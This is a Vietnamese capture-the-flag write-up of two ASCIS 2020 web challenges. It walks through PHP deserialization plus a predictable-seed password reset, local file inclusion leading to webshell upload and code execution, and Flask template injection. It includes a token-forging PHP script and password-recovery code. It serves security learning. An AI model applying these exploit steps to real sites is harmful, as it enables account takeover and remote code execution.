---
title: ASCIS 2020 WRITEUP WEB CHALLENGES
tags: ctf
---
Sau vài hôm đi tổng hợp thì cuối cùng mình cũng tìm ra được source của 2 challenge ở svattt qual 2020. Ở vòng loại năm này thì có vẻ như có 4 challs: 2 challenge java về rmi thì đã có trên [github](https://github.com/tsug0d/LearnJavaVulnerability) của anh tsu (cả source + solution) vì vậy mình sẽ chỉ viết writeup cho 2 chall còn lại: `Among_us` và `Tsulott3`. Ở cuối mình sẽ bonus thêm source + link wu cho 2/3 challenges final round.
# Among_us
## Setup
Source code có thể tải ở [đây](https://github.com/asdcxsd/writeup-ctf/raw/master/docker-lamp.zip). Bài này thì có người đã build lại docker server rồi nên chỉ cần run thôi 🥰. À nhớ tạo thêm thư mục `crew_upload` trong thư mục `www` nhé không thì tí nữa sẽ bị báo lỗi. Một lưu ý nữa là tác giả chỉ tạo lại challenge dựa trên những file cần thiết nên sẽ không có một vài file như `crew.php`, `cafeteria.php` ... và không có hình 😗.
## Phân tích
Phần lớn các trang khi truy cập vào đều hiển thị `Unauthorized` trừ `forgot.php` và `login.php`:

Điểm đáng chú ý nữa là ta có thể khai thác lỗi LFI ở `page` parameter:

=> Làm tương tự như vậy để lấy hết source file về.
`forgot.php` hiển thị ra cho ta một ô để nhập token và chức năng là dùng để reset password.

Nhảy vào đọc source của nó, chú ý đoạn code php sau:
```php
if(isset($_POST["ticket"]) && !empty($_POST["ticket"]))
{
if($_SESSION["form_token"]===$_POST["token"]) {
unset($_SESSION['form_token']);
$_SESSION["form_token"] = md5(uniqid(rand(), true));
$ticket = unserialize(base64_decode($_POST["ticket"]));
//var_dump($ticket);
//var_dump($ticket->name);
$username = $ticket->name;
$secret_number = $ticket->secret_number;
$count = check_user_exists($conn, $username);
if($count === 1)
{
if(check_length($secret_number, 9)) {
$secret_number = strtoupper($secret_number);
$secret_number = check_string($secret_number);
$secret = get_secret($conn,$username);
var_dump($secret_number);
var_dump($secret);
if($secret_number !== $secret) {
print("Wrong secret!");
}
else
{
print("OK, we will send you the new password");}
print $secret_number;
$random_rand = rand(0,$secret_number);
srand($random_rand);
$new_password = "";
while(strlen($new_password) < 30) {
$new_password .= strval(rand());
}
reset_password($conn, $username, $new_password);
//to do: send mail the new password to the user, code later
//print($new_password);
}
else
{
print("sai length");
print("<center>IMPOSTOR ALERT!!!!</center>");
}
}
else
{
//print $count;
print("sai count");
}
}
else
{
print("sai token");
}
}
```
`$ticket` sẽ được khôi phục lại từ `$_POST["ticket"]`. Sau đó lấy ra `name` và `secret_number` từ object này. Tìm kiếm một hồi thì biết được có thể nó là một instance tạo từ class CrewMate trong `lib.php`.

Tiếp theo là `check_user_exists()`, đòi hỏi username lấy từ `$ticket->name` phải tồn tại trong db. Suy ra ta cần có một username hợp lệ, cái này tác giả đã cung cấp trong `crew.php` và vì ta đã tự build lại challenge nên có thể tạo sẵn một vài user.
Khi thỏa mãn điều kiện ở trên thì tiếp tục là kiểm tra
`check_length($secret_number, 9)`, từ code của hàm này -> có thể truyền string, array ... miễn là thỏa = 9
```php
function check_length($input, $length) {
return strlen($input)==$length || count($input)==$length || sizeof($input)==$length;
}
```
Sau đó nữa là `strtoupper()`, `check_string()`, `get_secret()` ... và `reset_password()`. Tinh mắt một tí sẽ thấy rằng nếu điều kiện `$secret_number !== $secret` thỏa hay không thì đều thực hiện reset password.
Mục đích của ta là làm sao để lấy được password sau khi được reset. Password này được tạo dựa trên `strval(rand())`, suy ra phải biết được `$random_rand` (đọc thêm về `srand()` ở [đây](https://www.php.net/manual/fr/function.srand.php)), `$random_rand` lại được tạo dựa trên `rand(0,$secret_number)`. Mà một điều thú vị là `rand(0,NULL)=0` và để cho nó xảy ra thì `strtoupper()` phải return NULL.
=> `secret_number` phải là một array.

và để thỏa điều kiện `check_length()` ở trên nữa thì array này cần 9 phần tử.
## Exploit
Script tạo token:
```php=
<?php
class CrewMate {
public $name;
public $secret_number;
}
$cm = new CrewMate();
$cm -> name = "yellow";
$cm -> secret_number = range(1,9);
echo base64_encode(serialize($cm));
```
Gửi token để reset password:

Script để lấy password sau khi reset:
```php=
$secret_number = NULL;
$random_rand = rand(0, $secret_number);
srand($random_rand);
$new_password = "";
while(strlen($new_password) < 30) {
$new_password .= strval(rand());
}
print $new_password; //117856802212731241191535857466
```
Login với `yellow:117856802212731241191535857466`

Hiển thị như vầy nghĩa là đã thành công.
Bây giờ ta chuyển sang page `electrical.php`
Thử upload một file bình thường:

Trang web sẽ hiện ra thêm nút download, tên của file nằm trong file zip: `php0YStEz+test.txt` và sau khi Download, ta biết được luôn tên của file zip:

Bước cuối cùng là upload một webshell, sau đó sử dụng LFI ở `index.php` để RCE với `?page=/tmp/<new_web_shell_name>`.

Hmmm, sau một hồi mò mẫm thì có vẻ như flag không nằm ở các file trên server.
Thử upload script để đọc flag từ database:


P/S: Thú thật thì challenge này lúc mình đi mò tưởng không có source nên quyết định đi đọc writeup luôn, ai dè source code họ để ở cuối bài viết. Có thể coi như là mình viết lại để học hỏi từ wu của người ta 😢 bài viết gốc có thể xem tại [đây](https://asdcxsd.wordpress.com/2020/11/04/writeup-svattt2020-among-us/).
---
# Tsulott3
## Setup
Down source ở [đây](https://github.com/to016/CTFs/tree/main/SVATTT/2020/Qual/tsulott3).
## Overview
Build xong access tới <http://127.0.0.1:5000> ta có một trang để nhập tên:

Sau khi nhập xong ấn `Go` thì sẽ được chuyển hới tới một trang mới:

Yêu cầu ta nhập 6 con số, cóp nguyên cái example luôn cho lẹ 😁:

Có vẻ như đoán sai rồi ~~~ Sau đó ta được redirect tới một trang reset access và lại redirect về trang ban đầu.
## Phân tích
Bài này thì có vẻ là dễ thở hơn bài trước.
Nhìn qua source code thì sẽ có 3 route `/`, `/guess`, `/reset_access`.
1. Route `/`:
```python
@app.route("/", methods=["GET","POST"])
def index():
try:
session.pop("name")
session.pop("jackpot")
except:
pass
if request.method == "POST":
ok = request.form['ok']
session["name"] = request.form['name']
if ok == "Go":
session["check"] = "access"
jackpot = " ".join(str(x) for x in [ri(10,99), ri(10,99), ri(10,99), ri(10,99), ri(10,99), ri(10,99)]).strip()
session["jackpot"] = jackpot
return render_template_string("Generating jackpot...<script>setInterval(function(){ window.location='/guess'; }, 500);</script>")
return render_template("start.html")
```
`try except` để lấy ra `name` và `jackpot` từ session. Nếu method là POST thì lấy ra `ok` và `name` từ POST request sau đó gán `name` cho `session["name"]`. Nếu `ok=="Go"` thì sẽ gán `session["check"] = "access"` tạo random một `jackpot` và gán vào `session["jackpot"]` và redirect tới `/guess`.
2. Route `/guess`
```python
@app.route('/guess', methods=["GET","POST"])
def guess():
try:
if check_session("check") == "":
return render_template_string(cheat+check_session("name"))
else:
if request.method == "POST":
jackpot_input = request.form['jackpot']
print(jackpot_input + "\n")
print(check_session("jackpot"))
if jackpot_input == check_session("jackpot"):
mess = "Really? GG "+check_session("name")+", here your flag: ASCIS{xxxxxxxxxxxxxxxxxxxxxxxxx}"
elif jackpot_input != check_session("jackpot"):
mess = "May the Luck be with you next time!<script>setInterval(function(){ window.location='/reset_access'; }, 1200);</script>"
return render_template_string(mess)
return render_template("guess.html")
except:
pass
return render_template_string(cheat+check_session("name"))
```
Ở route này đoạn cần chú ý là nó sẽ lấy `jackpot` từ POST request và so sánh với `jackbot` lưu trong session. Nếu thỏa thì sẽ lấy được flag ngược lại redirect đến `/reset_access`.
3. Route `/reset_access`
```python
@app.route('/reset_access')
def reset():
try:
session.pop("check")
return render_template_string("Reseting...<script>setInterval(function(){ window.location='/'; }, 500);</script>")
except:
pass
return render_template_string(cheat+check_session("name"))
```
`try` lấy `check` từ trong `session` nếu có exception thì `pass` và `render_template_string(cheat+check_session("name"))`. Mình lợi dụng route này để perform ssti.
## Exploit
Luồng khai thác sẽ như sau:
- POST đến `/` với `name=<ssti payload>` và `ok="cc"` mục đích là để cho `session["name"] = <ssti payload>` và `jackpot` không được set random.
- GET đến `/reset_access` để thực thi ssti payload (payload của mình là set cho `jackpot=to^&check=access`)
- Cuối cùng là POST đến `/guess` với `jackpot=to^`

---
# Challenges ở final
Ở final thì ngoài `mojarra_war` có 2 challenges nữa là `FADating`, `Instargram`. 2 challenge này cũng rất hay nhưng tiếc là mình không tìm được source hoàn chỉnh, chỉ có source cho player. Các bạn có thể tải ở [đây](https://github.com/to016/CTFs/tree/main/SVATTT/2020/Final), mình cũng đã đính kèm link writeup của từng challenge.
###### tags: ctf